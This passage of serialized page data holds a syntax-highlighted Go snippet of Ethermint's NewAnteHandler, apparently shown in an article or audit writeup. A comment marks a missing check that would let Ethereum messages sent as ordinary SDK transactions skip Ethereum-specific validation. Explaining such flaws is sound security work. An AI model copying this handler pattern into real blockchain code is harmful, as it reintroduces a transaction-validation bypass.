%T\", tx),\n \"transaction is not an SDK tx\",\n )\n }\n\n return anteHandler(ctx, tx, sim)\n }\n}\n",[77346],{"type":23,"tag":64,"props":77347,"children":77348},{"__ignoreMap":7},[77349,77365,77390,77414,77431,77456,77482,77507,77530,77546,77602,77643,77669,77676,77722,77729,77775,77791,77821,77856,77908,77925,77933,77940,77969,77985,77993,78019,78027,78034,78046,78080,78126,78138,78145,78152,78159,78198,78205,78212,78219,78227,78234,78258,78282,78310,78335,78343,78376,78383,78395,78426,78481,78494,78502,78510,78518,78558,78566],{"type":23,"tag":481,"props":77350,"children":77351},{"class":483,"line":484},[77352,77356,77361],{"type":23,"tag":481,"props":77353,"children":77354},{"style":497},[77355],{"type":28,"value":73832},{"type":23,"tag":481,"props":77357,"children":77358},{"style":610},[77359],{"type":28,"value":77360}," NewAnteHandler",{"type":23,"tag":481,"props":77362,"children":77363},{"style":525},[77364],{"type":28,"value":988},{"type":23,"tag":481,"props":77366,"children":77367},{"class":483,"line":351},[77368,77373,77378,77382,77386],{"type":23,"tag":481,"props":77369,"children":77370},{"style":508},[77371],{"type":28,"value":77372}," ak",{"type":23,"tag":481,"props":77374,"children":77375},{"style":943},[77376],{"type":28,"value":77377}," evmtypes",{"type":23,"tag":481,"props":77379,"children":77380},{"style":525},[77381],{"type":28,"value":199},{"type":23,"tag":481,"props":77383,"children":77384},{"style":943},[77385],{"type":28,"value":76913},{"type":23,"tag":481,"props":77387,"children":77388},{"style":525},[77389],{"type":28,"value":1033},{"type":23,"tag":481,"props":77391,"children":77392},{"class":483,"line":531},[77393,77398,77402,77406,77410],{"type":23,"tag":481,"props":77394,"children":77395},{"style":508},[77396],{"type":28,"value":77397}," bankKeeper",{"type":23,"tag":481,"props":77399,"children":77400},{"style":943},[77401],{"type":28,"value":77377},{"type":23,"tag":481,"props":77403,"children":77404},{"style":525},[77405],{"type":28,"value":199},{"type":23,"tag":481,"props":77407,"children":77408},{"style":943},[77409],{"type":28,"value":76986},{"type":23,"tag":481,"props":77411,"children":77412},{"style":525},[77413],{"type":28,"value":1033},{"type":23,"tag":481,"props":77415,"children":77416},{"class":483,"line":567},[77417,77422,77427],{"type":23,"tag":481,"props":77418,"children":77419},{"style":508},[77420],{"type":28,"value":77421}," evmKeeper",{"type":23,"tag":481,"props":77423,"children":77424},{"style":943},[77425],{"type":28,"value":77426}," EVMKeeper",{"type":23,"tag":481,"props":77428,"children":77429},{"style":525},[77430],{"type":28,"value":1033},{"type":23,"tag":481,"props":77432,"children":77433},{"class":483,"line":678},[77434,77439,77444,77448,77452],{"type":23,"tag":481,"props":77435,"children":77436},{"style":508},[77437],{"type":28,"value":77438}," feeGrantKeeper",{"type":23,"tag":481,"props":77440,"children":77441},{"style":943},[77442],{"type":28,"value":77443}," authante",{"type":23,"tag":481,"props":77445,"children":77446},{"style":525},[77447],{"type":28,"value":199},{"type":23,"tag":481,"props":77449,"children":77450},{"style":943},[77451],{"type":28,"value":77003},{"type":23,"tag":481,"props":77453,"children":77454},{"style":525},[77455],{"type":28,"value":1033},{"type":23,"tag":481,"props":77457,"children":77458},{"class":483,"line":784},[77459,77464,77469,77473,77478],{"type":23,"tag":481,"props":77460,"children":77461},{"style":508},[77462],{"type":28,"value":77463}," channelKeeper",{"type":23,"tag":481,"props":77465,"children":77466},{"style":943},[77467],{"type":28,"value":77468}," channelkeeper",{"type":23,"tag":481,"props":77470,"children":77471},{"style":525},[77472],{"type":28,"value":199},{"type":23,"tag":481,"props":77474,"children":77475},{"style":943},[77476],{"type":28,"value":77477},"Keeper",{"type":23,"tag":481,"props":77479,"children":77480},{"style":525},[77481],{"type":28,"value":1033},{"type":23,"tag":481,"props":77483,"children":77484},{"class":483,"line":812},[77485,77490,77495,77499,77503],{"type":23,"tag":481,"props":77486,"children":77487},{"style":508},[77488],{"type":28,"value":77489}," signModeHandler",{"type":23,"tag":481,"props":77491,"children":77492},{"style":943},[77493],{"type":28,"value":77494}," authsigning",{"type":23,"tag":481,"props":77496,"children":77497},{"style":525},[77498],{"type":28,"value":199},{"type":23,"tag":481,"props":77500,"children":77501},{"style":943},[77502],{"type":28,"value":77171},{"type":23,"tag":481,"props":77504,"children":77505},{"style":525},[77506],{"type":28,"value":1033},{"type":23,"tag":481,"props":77508,"children":77509},{"class":483,"line":825},[77510,77514,77518,77522,77526],{"type":23,"tag":481,"props":77511,"children":77512},{"style":525},[77513],{"type":28,"value":598},{"type":23,"tag":481,"props":77515,"children":77516},{"style":943},[77517],{"type":28,"value":76262},{"type":23,"tag":481,"props":77519,"children":77520},{"style":525},[77521],{"type":28,"value":199},{"type":23,"tag":481,"props":77523,"children":77524},{"style":943},[77525],{"type":28,"value":76002},{"type":23,"tag":481,"props":77527,"children":77528},{"style":525},[77529],{"type":28,"value":809},{"type":23,"tag":481,"props":77531,"children":77532},{"class":483,"line":843},[77533,77537,77542],{"type":23,"tag":481,"props":77534,"children":77535},{"style":535},[77536],{"type":28,"value":14481},{"type":23,"tag":481,"props":77538,"children":77539},{"style":497},[77540],{"type":28,"value":77541}," func",{"type":23,"tag":481,"props":77543,"children":77544},{"style":525},[77545],{"type":28,"value":988},{"type":23,"tag":481,"props":77547,"children":77548},{"class":483,"line":864},[77549,77553,77557,77561,77565,77569,77573,77577,77581,77585,77589,77594,77598],{"type":23,"tag":481,"props":77550,"children":77551},{"style":508},[77552],{"type":28,"value":23697},{"type":23,"tag":481,"props":77554,"children":77555},{"style":943},[77556],{"type":28,"value":76173},{"type":23,"tag":481,"props":77558,"children":77559},{"style":525},[77560],{"type":28,"value":199},{"type":23,"tag":481,"props":77562,"children":77563},{"style":943},[77564],{"type":28,"value":73881},{"type":23,"tag":481,"props":77566,"children":77567},{"style":525},[77568],{"type":28,"value":588},{"type":23,"tag":481,"props":77570,"children":77571},{"style":508},[77572],{"type":28,"value":76713},{"type":23,"tag":481,"props":77574,"children":77575},{"style":943},[77576],{"type":28,"value":76173},{"type":23,"tag":481,"props":77578,"children":77579},{"style":525},[77580],{"type":28,"value":199},{"type":23,"tag":481,"props":77582,"children":77583},{"style":943},[77584],{"type":28,"value":76206},{"type":23,"tag":481,"props":77586,"children":77587},{"style":525},[77588],{"type":28,"value":588},{"type":23,"tag":481,"props":77590,"children":77591},{"style":508},[77592],{"type":28,"value":77593},"sim",{"type":23,"tag":481,"props":77595,"children":77596},{"style":943},[77597],{"type":28,"value":9537},{"type":23,"tag":481,"props":77599,"children":77600},{"style":525},[77601],{"type":28,"value":1033},{"type":23,"tag":481,"props":77603,"children":77604},{"class":483,"line":873},[77605,77610,77615,77619,77623,77627,77631,77635,77639],{"type":23,"tag":481,"props":77606,"children":77607},{"style":525},[77608],{"type":28,"value":77609}," ) (",{"type":23,"tag":481,"props":77611,"children":77612},{"style":508},[77613],{"type":28,"value":77614},"newCtx",{"type":23,"tag":481,"props":77616,"children":77617},{"style":943},[77618],{"type":28,"value":76173},{"type":23,"tag":481,"props":77620,"children":77621},{"style":525},[77622],{"type":28,"value":199},{"type":23,"tag":481,"props":77624,"children":77625},{"style":943},[77626],{"type":28,"value":73881},{"type":23,"tag":481,"props":77628,"children":77629},{"style":525},[77630],{"type":28,"value":588},{"type":23,"tag":481,"props":77632,"children":77633},{"style":508},[77634],{"type":28,"value":45945},{"type":23,"tag":481,"props":77636,"children":77637},{"style":943},[77638],{"type":28,"value":12365},{"type":23,"tag":481,"props":77640,"children":77641},{"style":525},[77642],{"type":28,"value":12292},{"type":23,"tag":481,"props":77644,"children":77645},{"class":483,"line":1125},[77646,77651,77656,77660,77664],{"type":23,"tag":481,"props":77647,"children":77648},{"style":497},[77649],{"type":28,"value":77650}," var",{"type":23,"tag":481,"props":77652,"children":77653},{"style":508},[77654],{"type":28,"value":77655}," anteHandler",{"type":23,"tag":481,"props":77657,"children":77658},{"style":943},[77659],{"type":28,"value":76173},{"type":23,"tag":481,"props":77661,"children":77662},{"style":525},[77663],{"type":28,"value":199},{"type":23,"tag":481,"props":77665,"children":77666},{"style":943},[77667],{"type":28,"value":77668},"AnteHandler\n",{"type":23,"tag":481,"props":77670,"children":77671},{"class":483,"line":1142},[77672],{"type":23,"tag":481,"props":77673,"children":77674},{"emptyLinePlaceholder":15},[77675],{"type":28,"value":1210},{"type":23,"tag":481,"props":77677,"children":77678},{"class":483,"line":1159},[77679,77684,77689,77693,77697,77701,77706,77710,77714,77718],{"type":23,"tag":481,"props":77680,"children":77681},{"style":535},[77682],{"type":28,"value":77683}," defer",{"type":23,"tag":481,"props":77685,"children":77686},{"style":610},[77687],{"type":28,"value":77688}," Recover",{"type":23,"tag":481,"props":77690,"children":77691},{"style":525},[77692],{"type":28,"value":618},{"type":23,"tag":481,"props":77694,"children":77695},{"style":508},[77696],{"type":28,"value":17778},{"type":23,"tag":481,"props":77698,"children":77699},{"style":525},[77700],{"type":28,"value":199},{"type":23,"tag":481,"props":77702,"children":77703},{"style":610},[77704],{"type":28,"value":77705},"Logger",{"type":23,"tag":481,"props":77707,"children":77708},{"style":525},[77709],{"type":28,"value":15869},{"type":23,"tag":481,"props":77711,"children":77712},{"style":514},[77713],{"type":28,"value":623},{"type":23,"tag":481,"props":77715,"children":77716},{"style":508},[77717],{"type":28,"value":45945},{"type":23,"tag":481,"props":77719,"children":77720},{"style":525},[77721],{"type":28,"value":675},{"type":23,"tag":481,"props":77723,"children":77724},{"class":483,"line":1172},[77725],{"type":23,"tag":481,"props":77726,"children":77727},{"emptyLinePlaceholder":15},[77728],{"type":28,"value":1210},{"type":23,"tag":481,"props":77730,"children":77731},{"class":483,"line":1181},[77732,77737,77741,77745,77749,77753,77757,77762,77766,77771],{"type":23,"tag":481,"props":77733,"children":77734},{"style":508},[77735],{"type":28,"value":77736}," txWithExtensions",{"type":23,"tag":481,"props":77738,"children":77739},{"style":525},[77740],{"type":28,"value":588},{"type":23,"tag":481,"props":77742,"children":77743},{"style":508},[77744],{"type":28,"value":76299},{"type":23,"tag":481,"props":77746,"children":77747},{"style":514},[77748],{"type":28,"value":73948},{"type":23,"tag":481,"props":77750,"children":77751},{"style":508},[77752],{"type":28,"value":65557},{"type":23,"tag":481,"props":77754,"children":77755},{"style":525},[77756],{"type":28,"value":76312},{"type":23,"tag":481,"props":77758,"children":77759},{"style":943},[77760],{"type":28,"value":77761},"authante",{"type":23,"tag":481,"props":77763,"children":77764},{"style":525},[77765],{"type":28,"value":199},{"type":23,"tag":481,"props":77767,"children":77768},{"style":943},[77769],{"type":28,"value":77770},"HasExtensionOptionsTx",{"type":23,"tag":481,"props":77772,"children":77773},{"style":525},[77774],{"type":28,"value":675},{"type":23,"tag":481,"props":77776,"children":77777},{"class":483,"line":1204},[77778,77782,77787],{"type":23,"tag":481,"props":77779,"children":77780},{"style":535},[77781],{"type":28,"value":790},{"type":23,"tag":481,"props":77783,"children":77784},{"style":508},[77785],{"type":28,"value":77786}," ok",{"type":23,"tag":481,"props":77788,"children":77789},{"style":525},[77790],{"type":28,"value":809},{"type":23,"tag":481,"props":77792,"children":77793},{"class":483,"line":1213},[77794,77799,77803,77808,77812,77817],{"type":23,"tag":481,"props":77795,"children":77796},{"style":508},[77797],{"type":28,"value":77798}," opts",{"type":23,"tag":481,"props":77800,"children":77801},{"style":514},[77802],{"type":28,"value":73948},{"type":23,"tag":481,"props":77804,"children":77805},{"style":508},[77806],{"type":28,"value":77807}," txWithExtensions",{"type":23,"tag":481,"props":77809,"children":77810},{"style":525},[77811],{"type":28,"value":199},{"type":23,"tag":481,"props":77813,"children":77814},{"style":610},[77815],{"type":28,"value":77816},"GetExtensionOptions",{"type":23,"tag":481,"props":77818,"children":77819},{"style":525},[77820],{"type":28,"value":5214},{"type":23,"tag":481,"props":77822,"children":77823},{"class":483,"line":1222},[77824,77828,77832,77836,77840,77844,77848,77852],{"type":23,"tag":481,"props":77825,"children":77826},{"style":535},[77827],{"type":28,"value":56328},{"type":23,"tag":481,"props":77829,"children":77830},{"style":610},[77831],{"type":28,"value":6037},{"type":23,"tag":481,"props":77833,"children":77834},{"style":525},[77835],{"type":28,"value":618},{"type":23,"tag":481,"props":77837,"children":77838},{"style":508},[77839],{"type":28,"value":46087},{"type":23,"tag":481,"props":77841,"children":77842},{"style":525},[77843],{"type":28,"value":598},{"type":23,"tag":481,"props":77845,"children":77846},{"style":514},[77847],{"type":28,"value":7947},{"type":23,"tag":481,"props":77849,"children":77850},{"style":551},[77851],{"type":28,"value":554},{"type":23,"tag":481,"props":77853,"children":77854},{"style":525},[77855],{"type":28,"value":809},{"type":23,"tag":481,"props":77857,"children":77858},{"class":483,"line":1291},[77859,77864,77869,77873,77878,77882,77886,77890,77895,77899,77904],{"type":23,"tag":481,"props":77860,"children":77861},{"style":535},[77862],{"type":28,"value":77863}," switch",{"type":23,"tag":481,"props":77865,"children":77866},{"style":508},[77867],{"type":28,"value":77868}," typeURL",{"type":23,"tag":481,"props":77870,"children":77871},{"style":514},[77872],{"type":28,"value":73948},{"type":23,"tag":481,"props":77874,"children":77875},{"style":508},[77876],{"type":28,"value":77877}," opts",{"type":23,"tag":481,"props":77879,"children":77880},{"style":525},[77881],{"type":28,"value":1269},{"type":23,"tag":481,"props":77883,"children":77884},{"style":551},[77885],{"type":28,"value":1568},{"type":23,"tag":481,"props":77887,"children":77888},{"style":525},[77889],{"type":28,"value":47874},{"type":23,"tag":481,"props":77891,"children":77892},{"style":610},[77893],{"type":28,"value":77894},"GetTypeUrl",{"type":23,"tag":481,"props":77896,"children":77897},{"style":525},[77898],{"type":28,"value":25960},{"type":23,"tag":481,"props":77900,"children":77901},{"style":508},[77902],{"type":28,"value":77903},"typeURL",{"type":23,"tag":481,"props":77905,"children":77906},{"style":525},[77907],{"type":28,"value":809},{"type":23,"tag":481,"props":77909,"children":77910},{"class":483,"line":1299},[77911,77916,77921],{"type":23,"tag":481,"props":77912,"children":77913},{"style":535},[77914],{"type":28,"value":77915}," case",{"type":23,"tag":481,"props":77917,"children":77918},{"style":1805},[77919],{"type":28,"value":77920}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":23,"tag":481,"props":77922,"children":77923},{"style":525},[77924],{"type":28,"value":211},{"type":23,"tag":481,"props":77926,"children":77927},{"class":483,"line":1329},[77928],{"type":23,"tag":481,"props":77929,"children":77930},{"style":488},[77931],{"type":28,"value":77932}," // handle as *evmtypes.MsgEthereumTx\n",{"type":23,"tag":481,"props":77934,"children":77935},{"class":483,"line":1337},[77936],{"type":23,"tag":481,"props":77937,"children":77938},{"emptyLinePlaceholder":15},[77939],{"type":28,"value":1210},{"type":23,"tag":481,"props":77941,"children":77942},{"class":483,"line":1369},[77943,77948,77952,77956,77960,77965],{"type":23,"tag":481,"props":77944,"children":77945},{"style":508},[77946],{"type":28,"value":77947}," anteHandler",{"type":23,"tag":481,"props":77949,"children":77950},{"style":514},[77951],{"type":28,"value":517},{"type":23,"tag":481,"props":77953,"children":77954},{"style":508},[77955],{"type":28,"value":76173},{"type":23,"tag":481,"props":77957,"children":77958},{"style":525},[77959],{"type":28,"value":199},{"type":23,"tag":481,"props":77961,"children":77962},{"style":610},[77963],{"type":28,"value":77964},"ChainAnteDecorators",{"type":23,"tag":481,"props":77966,"children":77967},{"style":525},[77968],{"type":28,"value":988},{"type":23,"tag":481,"props":77970,"children":77971},{"class":483,"line":1377},[77972,77977,77981],{"type":23,"tag":481,"props":77973,"children":77974},{"style":610},[77975],{"type":28,"value":77976}," NewEthSetUpContextDecorator",{"type":23,"tag":481,"props":77978,"children":77979},{"style":525},[77980],{"type":28,"value":15869},{"type":23,"tag":481,"props":77982,"children":77983},{"style":488},[77984],{"type":28,"value":76827},{"type":23,"tag":481,"props":77986,"children":77987},{"class":483,"line":1437},[77988],{"type":23,"tag":481,"props":77989,"children":77990},{"style":514},[77991],{"type":28,"value":77992}," ...\n",{"type":23,"tag":481,"props":77994,"children":77995},{"class":483,"line":6528},[77996,78001,78005,78010,78014],{"type":23,"tag":481,"props":77997,"children":77998},{"style":610},[77999],{"type":28,"value":78000}," NewEthIncrementSenderSequenceDecorator",{"type":23,"tag":481,"props":78002,"children":78003},{"style":525},[78004],{"type":28,"value":618},{"type":23,"tag":481,"props":78006,"children":78007},{"style":508},[78008],{"type":28,"value":78009},"ak",{"type":23,"tag":481,"props":78011,"children":78012},{"style":525},[78013],{"type":28,"value":12666},{"type":23,"tag":481,"props":78015,"children":78016},{"style":488},[78017],{"type":28,"value":78018},"// innermost AnteDecorator.\n",{"type":23,"tag":481,"props":78020,"children":78021},{"class":483,"line":6546},[78022],{"type":23,"tag":481,"props":78023,"children":78024},{"style":525},[78025],{"type":28,"value":78026}," )\n",{"type":23,"tag":481,"props":78028,"children":78029},{"class":483,"line":6591},[78030],{"type":23,"tag":481,"props":78031,"children":78032},{"emptyLinePlaceholder":15},[78033],{"type":28,"value":1210},{"type":23,"tag":481,"props":78035,"children":78036},{"class":483,"line":6697},[78037,78042],{"type":23,"tag":481,"props":78038,"children":78039},{"style":535},[78040],{"type":28,"value":78041}," default",{"type":23,"tag":481,"props":78043,"children":78044},{"style":525},[78045],{"type":28,"value":211},{"type":23,"tag":481,"props":78047,"children":78048},{"class":483,"line":21008},[78049,78054,78058,78062,78067,78071,78076],{"type":23,"tag":481,"props":78050,"children":78051},{"style":535},[78052],{"type":28,"value":78053}," return",{"type":23,"tag":481,"props":78055,"children":78056},{"style":508},[78057],{"type":28,"value":23354},{"type":23,"tag":481,"props":78059,"children":78060},{"style":525},[78061],{"type":28,"value":588},{"type":23,"tag":481,"props":78063,"children":78064},{"style":508},[78065],{"type":28,"value":78066},"stacktrace",{"type":23,"tag":481,"props":78068,"children":78069},{"style":525},[78070],{"type":28,"value":199},{"type":23,"tag":481,"props":78072,"children":78073},{"style":610},[78074],{"type":28,"value":78075},"Propagate",{"type":23,"tag":481,"props":78077,"children":78078},{"style":525},[78079],{"type":28,"value":988},{"type":23,"tag":481,"props":78081,"children":78082},{"class":483,"line":21043},[78083,78088,78092,78096,78100,78105,78109,78114,78118,78122],{"type":23,"tag":481,"props":78084,"children":78085},{"style":508},[78086],{"type":28,"value":78087}," sdkerrors",{"type":23,"tag":481,"props":78089,"children":78090},{"style":525},[78091],{"type":28,"value":199},{"type":23,"tag":481,"props":78093,"children":78094},{"style":610},[78095],{"type":28,"value":76378},{"type":23,"tag":481,"props":78097,"children":78098},{"style":525},[78099],{"type":28,"value":618},{"type":23,"tag":481,"props":78101,"children":78102},{"style":508},[78103],{"type":28,"value":78104},"sdkerrors",{"type":23,"tag":481,"props":78106,"children":78107},{"style":525},[78108],{"type":28,"value":199},{"type":23,"tag":481,"props":78110,"children":78111},{"style":508},[78112],{"type":28,"value":78113},"ErrUnknownExtensionOptions",{"type":23,"tag":481,"props":78115,"children":78116},{"style":525},[78117],{"type":28,"value":588},{"type":23,"tag":481,"props":78119,"children":78120},{"style":508},[78121],{"type":28,"value":77903},{"type":23,"tag":481,"props":78123,"children":78124},{"style":525},[78125],{"type":28,"value":4214},{"type":23,"tag":481,"props":78127,"children":78128},{"class":483,"line":21051},[78129,78134],{"type":23,"tag":481,"props":78130,"children":78131},{"style":1805},[78132],{"type":28,"value":78133}," \"rejecting tx with unsupported extension option\"",{"type":23,"tag":481,"props":78135,"children":78136},{"style":525},[78137],{"type":28,"value":1033},{"type":23,"tag":481,"props":78139,"children":78140},{"class":483,"line":21059},[78141],{"type":23,"tag":481,"props":78142,"children":78143},{"style":525},[78144],{"type":28,"value":78026},{"type":23,"tag":481,"props":78146,"children":78147},{"class":483,"line":21068},[78148],{"type":23,"tag":481,"props":78149,"children":78150},{"style":525},[78151],{"type":28,"value":68601},{"type":23,"tag":481,"props":78153,"children":78154},{"class":483,"line":21110},[78155],{"type":23,"tag":481,"props":78156,"children":78157},{"emptyLinePlaceholder":15},[78158],{"type":28,"value":1210},{"type":23,"tag":481,"props":78160,"children":78161},{"class":483,"line":21143},[78162,78166,78170,78174,78178,78182,78186,78190,78194],{"type":23,"tag":481,"props":78163,"children":78164},{"style":535},[78165],{"type":28,"value":58256},{"type":23,"tag":481,"props":78167,"children":78168},{"style":610},[78169],{"type":28,"value":77655},{"type":23,"tag":481,"props":78171,"children":78172},{"style":525},[78173],{"type":28,"value":618},{"type":23,"tag":481,"props":78175,"children":78176},{"style":508},[78177],{"type":28,"value":17778},{"type":23,"tag":481,"props":78179,"children":78180},{"style":525},[78181],{"type":28,"value":588},{"type":23,"tag":481,"props":78183,"children":78184},{"style":508},[78185],{"type":28,"value":76713},{"type":23,"tag":481,"props":78187,"children":78188},{"style":525},[78189],{"type":28,"value":588},{"type":23,"tag":481,"props":78191,"children":78192},{"style":508},[78193],{"type":28,"value":77593},{"type":23,"tag":481,"props":78195,"children":78196},{"style":525},[78197],{"type":28,"value":675},{"type":23,"tag":481,"props":78199,"children":78200},{"class":483,"line":21151},[78201],{"type":23,"tag":481,"props":78202,"children":78203},{"style":525},[78204],{"type":28,"value":56412},{"type":23,"tag":481,"props":78206,"children":78207},{"class":483,"line":21159},[78208],{"type":23,"tag":481,"props":78209,"children":78210},{"style":525},[78211],{"type":28,"value":870},{"type":23,"tag":481,"props":78213,"children":78214},{"class":483,"line":21168},[78215],{"type":23,"tag":481,"props":78216,"children":78217},{"emptyLinePlaceholder":15},[78218],{"type":28,"value":1210},{"type":23,"tag":481,"props":78220,"children":78221},{"class":483,"line":21244},[78222],{"type":23,"tag":481,"props":78223,"children":78224},{"style":488},[78225],{"type":28,"value":78226}," // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":23,"tag":481,"props":78228,"children":78229},{"class":483,"line":21277},[78230],{"type":23,"tag":481,"props":78231,"children":78232},{"emptyLinePlaceholder":15},[78233],{"type":28,"value":1210},{"type":23,"tag":481,"props":78235,"children":78236},{"class":483,"line":21285},[78237,78242,78246,78250,78254],{"type":23,"tag":481,"props":78238,"children":78239},{"style":535},[78240],{"type":28,"value":78241}," switch",{"type":23,"tag":481,"props":78243,"children":78244},{"style":508},[78245],{"type":28,"value":65557},{"type":23,"tag":481,"props":78247,"children":78248},{"style":525},[78249],{"type":28,"value":76312},{"type":23,"tag":481,"props":78251,"children":78252},{"style":497},[78253],{"type":28,"value":30272},{"type":23,"tag":481,"props":78255,"children":78256},{"style":525},[78257],{"type":28,"value":12292},{"type":23,"tag":481,"props":78259,"children":78260},{"class":483,"line":21293},[78261,78266,78270,78274,78278],{"type":23,"tag":481,"props":78262,"children":78263},{"style":535},[78264],{"type":28,"value":78265}," case",{"type":23,"tag":481,"props":78267,"children":78268},{"style":943},[78269],{"type":28,"value":76173},{"type":23,"tag":481,"props":78271,"children":78272},{"style":525},[78273],{"type":28,"value":199},{"type":23,"tag":481,"props":78275,"children":78276},{"style":943},[78277],{"type":28,"value":76206},{"type":23,"tag":481,"props":78279,"children":78280},{"style":525},[78281],{"type":28,"value":211},{"type":23,"tag":481,"props":78283,"children":78284},{"class":483,"line":21330},[78285,78290,78294,78298,78302,78306],{"type":23,"tag":481,"props":78286,"children":78287},{"style":508},[78288],{"type":28,"value":78289}," anteHandler",{"type":23,"tag":481,"props":78291,"children":78292},{"style":514},[78293],{"type":28,"value":517},{"type":23,"tag":481,"props":78295,"children":78296},{"style":508},[78297],{"type":28,"value":76173},{"type":23,"tag":481,"props":78299,"children":78300},{"style":525},[78301],{"type":28,"value":199},{"type":23,"tag":481,"props":78303,"children":78304},{"style":610},[78305],{"type":28,"value":77964},{"type":23,"tag":481,"props":78307,"children":78308},{"style":525},[78309],{"type":28,"value":988},{"type":23,"tag":481,"props":78311,"children":78312},{"class":483,"line":21343},[78313,78318,78322,78327,78331],{"type":23,"tag":481,"props":78314,"children":78315},{"style":508},[78316],{"type":28,"value":78317}," authante",{"type":23,"tag":481,"props":78319,"children":78320},{"style":525},[78321],{"type":28,"value":199},{"type":23,"tag":481,"props":78323,"children":78324},{"style":610},[78325],{"type":28,"value":78326},"NewSetUpContextDecorator",{"type":23,"tag":481,"props":78328,"children":78329},{"style":525},[78330],{"type":28,"value":15869},{"type":23,"tag":481,"props":78332,"children":78333},{"style":488},[78334],{"type":28,"value":76827},{"type":23,"tag":481,"props":78336,"children":78337},{"class":483,"line":21356},[78338],{"type":23,"tag":481,"props":78339,"children":78340},{"style":514},[78341],{"type":28,"value":78342}," ...\n",{"type":23,"tag":481,"props":78344,"children":78345},{"class":483,"line":21369},[78346,78350,78354,78359,78363,78367,78371],{"type":23,"tag":481,"props":78347,"children":78348},{"style":508},[78349],{"type":28,"value":78317},{"type":23,"tag":481,"props":78351,"children":78352},{"style":525},[78353],{"type":28,"value":199},{"type":23,"tag":481,"props":78355,"children":78356},{"style":610},[78357],{"type":28,"value":78358},"NewIncrementSequenceDecorator",{"type":23,"tag":481,"props":78360,"children":78361},{"style":525},[78362],{"type":28,"value":618},{"type":23,"tag":481,"props":78364,"children":78365},{"style":508},[78366],{"type":28,"value":78009},{"type":23,"tag":481,"props":78368,"children":78369},{"style":525},[78370],{"type":28,"value":12666},{"type":23,"tag":481,"props":78372,"children":78373},{"style":488},[78374],{"type":28,"value":78375},"// innermost AnteDecorator\n",{"type":23,"tag":481,"props":78377,"children":78378},{"class":483,"line":21423},[78379],{"type":23,"tag":481,"props":78380,"children":78381},{"style":525},[78382],{"type":28,"value":75047},{"type":23,"tag":481,"props":78384,"children":78385},{"class":483,"line":21432},[78386,78391],{"type":23,"tag":481,"props":78387,"children":78388},{"style":535},[78389],{"type":28,"value":78390}," default",{"type":23,"tag":481,"props":78392,"children":78393},{"style":525},[78394],{"type":28,"value":211},{"type":23,"tag":481,"props":78396,"children":78397},{"class":483,"line":29796},[78398,78402,78406,78410,78414,78418,78422],{"type":23,"tag":481,"props":78399,"children":78400},{"style":535},[78401],{"type":28,"value":76608},{"type":23,"tag":481,"props":78403,"children":78404},{"style":508},[78405],{"type":28,"value":23354},{"type":23,"tag":481,"props":78407,"children":78408},{"style":525},[78409],{"type":28,"value":588},{"type":23,"tag":481,"props":78411,"children":78412},{"style":508},[78413],{"type":28,"value":78066},{"type":23,"tag":481,"props":78415,"children":78416},{"style":525},[78417],{"type":28,"value":199},{"type":23,"tag":481,"props":78419,"children":78420},{"style":610},[78421],{"type":28,"value":78075},{"type":23,"tag":481,"props":78423,"children":78424},{"style":525},[78425],{"type":28,"value":988},{"type":23,"tag":481,"props":78427,"children":78428},{"class":483,"line":29817},[78429,78434,78438,78443,78447,78451,78455,78460,78464,78469,78473,78477],{"type":23,"tag":481,"props":78430,"children":78431},{"style":508},[78432],{"type":28,"value":78433}," sdkerrors",{"type":23,"tag":481,"props":78435,"children":78436},{"style":525},[78437],{"type":28,"value":199},{"type":23,"tag":481,"props":78439,"children":78440},{"style":610},[78441],{"type":28,"value":78442},"Wrapf",{"type":23,"tag":481,"props":78444,"children":78445},{"style":525},[78446],{"type":28,"value":618},{"type":23,"tag":481,"props":78448,"children":78449},{"style":508},[78450],{"type":28,"value":78104},{"type":23,"tag":481,"props":78452,"children":78453},{"style":525},[78454],{"type":28,"value":199},{"type":23,"tag":481,"props":78456,"children":78457},{"style":508},[78458],{"type":28,"value":78459},"ErrUnknownRequest",{"type":23,"tag":481,"props":78461,"children":78462},{"style":525},[78463],{"type":28,"value":588},{"type":23,"tag":481,"props":78465,"children":78466},{"style":1805},[78467],{"type":28,"value":78468},"\"invalid transaction type: %T\"",{"type":23,"tag":481,"props":78470,"children":78471},{"style":525},[78472],{"type":28,"value":588},{"type":23,"tag":481,"props":78474,"children":78475},{"style":508},[78476],{"type":28,"value":76713},{"type":23,"tag":481,"props":78478,"children":78479},{"style":525},[78480],{"type":28,"value":4214},{"type":23,"tag":481,"props":78482,"children":78484},{"class":483,"line":78483},53,[78485,78490],{"type":23,"tag":481,"props":78486,"children":78487},{"style":1805},[78488],{"type":28,"value":78489}," \"transaction is not an SDK tx\"",{"type":23,"tag":481,"props":78491,"children":78492},{"style":525},[78493],{"type":28,"value":1033},{"type":23,"tag":481,"props":78495,"children":78497},{"class":483,"line":78496},54,[78498],{"type":23,"tag":481,"props":78499,"children":78500},{"style":525},[78501],{"type":28,"value":75047},{"type":23,"tag":481,"props":78503,"children":78505},{"class":483,"line":78504},55,[78506],{"type":23,"tag":481,"props":78507,"children":78508},{"style":525},[78509],{"type":28,"value":870},{"type":23,"tag":481,"props":78511,"children":78513},{"class":483,"line":78512},56,[78514],{"type":23,"tag":481,"props":78515,"children":78516},{"emptyLinePlaceholder":15},[78517],{"type":28,"value":1210},{"type":23,"tag":481,"props":78519,"children":78521},{"class":483,"line":78520},57,[78522,78526,78530,78534,78538,78542,78546,78550,78554],{"type":23,"tag":481,"props":78523,"children":78524},{"style":535},[78525],{"type":28,"value":13234},{"type":23,"tag":481,"props":78527,"children":78528},{"style":610},[78529],{"type":28,"value":77655},{"type":23,"tag":481,"props":78531,"children":78532},{"style":525},[78533],{"type":28,"value":618},{"type":23,"tag":481,"props":78535,"children":78536},{"style":508},[78537],{"type":28,"value":17778},{"type":23,"tag":481,"props":78539,"children":78540},{"style":525},[78541],{"type":28,"value":588},{"type":23,"tag":481,"props":78543,"children":78544},{"style":508},[78545],{"type":28,"value":76713},{"type":23,"tag":481,"props":78547,"children":78548},{"style":525},[78549],{"type":28,"value":588},{"type":23,"tag":481,"props":78551,"children":78552},{"style":508},[78553],{"type":28,"value":77593},{"type":23,"tag":481,"props":78555,"children":78556},{"style":525},[78557],{"type":28,"value":675},{"type":23,"tag":481,"props":78559,"children":78561},{"class":483,"line":78560},58,[78562],{"type":23,"tag":481,"props":78563,"children":78564},{"style":525},[78565],{"type":28,"value":879},{"type":23,"tag":481,"props":78567,"children":78569},{"class":483,"line":78568},59,[78570],{"type":23,"tag":481,"props":78571,"children":78572},{"style":525},[78573],{"type":28,"value":1443},{